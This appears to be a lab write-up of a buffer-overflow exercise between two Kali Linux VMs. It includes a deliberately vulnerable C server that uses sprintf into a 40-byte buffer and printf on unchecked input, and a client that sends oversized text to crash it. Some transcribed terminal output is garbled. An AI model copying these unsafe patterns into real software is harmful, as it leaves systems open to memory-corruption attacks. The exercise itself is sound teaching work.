

The vuln program on kali02 is vulnerable to buffer overflow due to incorrect array sizing failing at sprintf in the response() function.

The client program sends a very large message over the socket to the vulnerable program, causing a segfault due to overflow.

See the segfault here:

The image shows two side-by-side windows of Kali Linux virtual machines running Visual Studio Code. The left window, titled 'kali01', shows the source code for a client program named 'client.c'. The code defines a main function that connects to '192.168.10.2' on port 8080. It constructs a large message by concatenating 'kishke' 612 times into a buffer of size 612*40. The message is then sent to the server. The terminal output shows the client successfully sending the message.

```
19 int main(int argc, char const* argv[])
20 {
21     if (inet_aton(argv[1], &serv_addr.sin_addr) == 0) {
22         printf("\nInvalid address/ Address not supported \n");
23         return -1;
24     }
25     if ((status = connect(client_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) != 0) {
26         printf("\nConnection Failed \n");
27         return -1;
28     }
29     char overflow[612*40] = "";
30     for (int i = 0; i < 612; i++){
31         strcat(overflow, " kishke");
32     }
33     send(client_fd, overflow, strlen(overflow), 0);
34     printf("kali01: Hello message sent\n");
35     // closing the connected socket
36     close(client_fd);
37     return 0;
38 }
```

The right window, titled 'kali02', shows the source code for a server program named 'vuln.c'. The code defines a main function that listens on port 8080. It has a 'response()' function that takes a client socket and a message, and a 'handle_client()' function that receives a message from a client and calls 'response()'. The 'response()' function uses 'sprintf' to format the response, but it has a buffer of size 40, which is insufficient for the large message received from the client. The terminal output shows the server receiving the message and then crashing with a segmentation fault.

```
9 #include <asm-generic/socket.h>
10 #define PORT 8080
11
12 void response(int client_socket, char *message){
13     char response[40];
14     // Build response
15     sprintf(response, "You sent: %s\n", message); //overflow (you sent adds chars)
16     // Send response to the client
17     printf(response);
18 }
19
20 void handle_client(int client_socket) {
21     char buffer[40];
22     printf("Write your message\n");
23     recv(client_socket, buffer, 40, 0);
24     response(client_socket, buffer);
25     close(client_socket);
26 }
27
28 int main(int argc, char const* argv[])
29 {
30     int server_fd, new_socket;
31     struct sockaddr_in address;
32     // ...
33 }
```

The terminal output for kali02 shows the server receiving the message and then crashing with a segmentation fault.

```
kali02@kali02: ~/Desktop/OverflowQuest/OverflowQuest/OverflowQuest_kali02
$ ./vuln.o
Write your message
You sent: kishke kishke kishke kishke kishke kish66666
Accounts egmentation fault ./vuln.o
```

I also played around with netcat to interact with the program from kali01.

The image displays two Kali Linux virtual machines side-by-side, each running a C program in Visual Studio Code. The left VM, named 'kali01', is running a client program 'client.c' that connects to a server on port 8080. The right VM, named 'kali02', is running a server program 'server.c' that listens on port 8080 and handles incoming connections. Both programs are part of a project named 'OverflowQuest'.

Left VM (kali01) - client.c:

```
1 // Client side C program to demonstrate Socket
2 // programming
3 #include <arpa/inet.h>
4 #include <stdio.h>
5 #include <string.h>
6 #include <sys/socket.h>
7 #include <unistd.h>
8 #define PORT 8080
9
10 int main(int argc, char const* argv[])
11 {
12     int status, valread, client_fd;
13     struct sockaddr_in serv_addr;
14     char* hello = "Hello from kali 01";
15     char buffer[1024] = { 0 };
16
17     if ((client_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
18         printf("\n Socket creation error \n");
19         return -1;
20     }
21
22     serv_addr.sin_family = AF_INET;
23     serv_addr.sin_port = htons(PORT);
24
25     // Convert IPv4 and IPv6 addresses from text to binary form
26     if (inet_pton(AF_INET, "192.168.10.2", &serv_addr.sin_addr) <= 0) {
27         printf("\nInvalid address/ Address not supported \n");
28         return -1;
29     }
30 }
```

Right VM (kali02) - server.c:

```
1 // Server side C program to demonstrate Socket
2 // programming
3 #include <netinet/in.h>
4 #include <stdio.h>
5 #include <stdlib.h>
6 #include <string.h>
7 #include <sys/socket.h>
8 #include <unistd.h>
9 #include <asm-generic/socket.h>
10 #define PORT 8080
11
12 void handle_client(int client_socket) {
13     char buffer[128];
14     recv(client_socket, buffer, sizeof(buffer), 0); // Buffer overflow vulnerability
15     printf("Client connected.\n\n");
16     printf("Client says: '%s'... what a bozo\n", buffer);
17     close(client_socket);
18 }
19
20 int main(int argc, char const* argv[])
21 {
22     int server_fd, new_socket;
23     struct sockaddr_in address;
24     int opt = 1;
25     socklen_t addrlen = sizeof(address);
26 }
```

Terminal Output (Left VM - kali01):

```
no port[s] to connect to
[kali01@kali01: ~/Desktop/OverflowQuest/OverflowQuest_kali01]
$ nc 192.168.10.2 8080
hello from kali01
```

Terminal Output (Right VM - kali02):

```
[kali02@kali02: ~/Desktop/OverflowQuest/OverflowQuest_kali02]
$ ./main
Client connected.
Client says: 'hello from kali01'
... what a bozo
```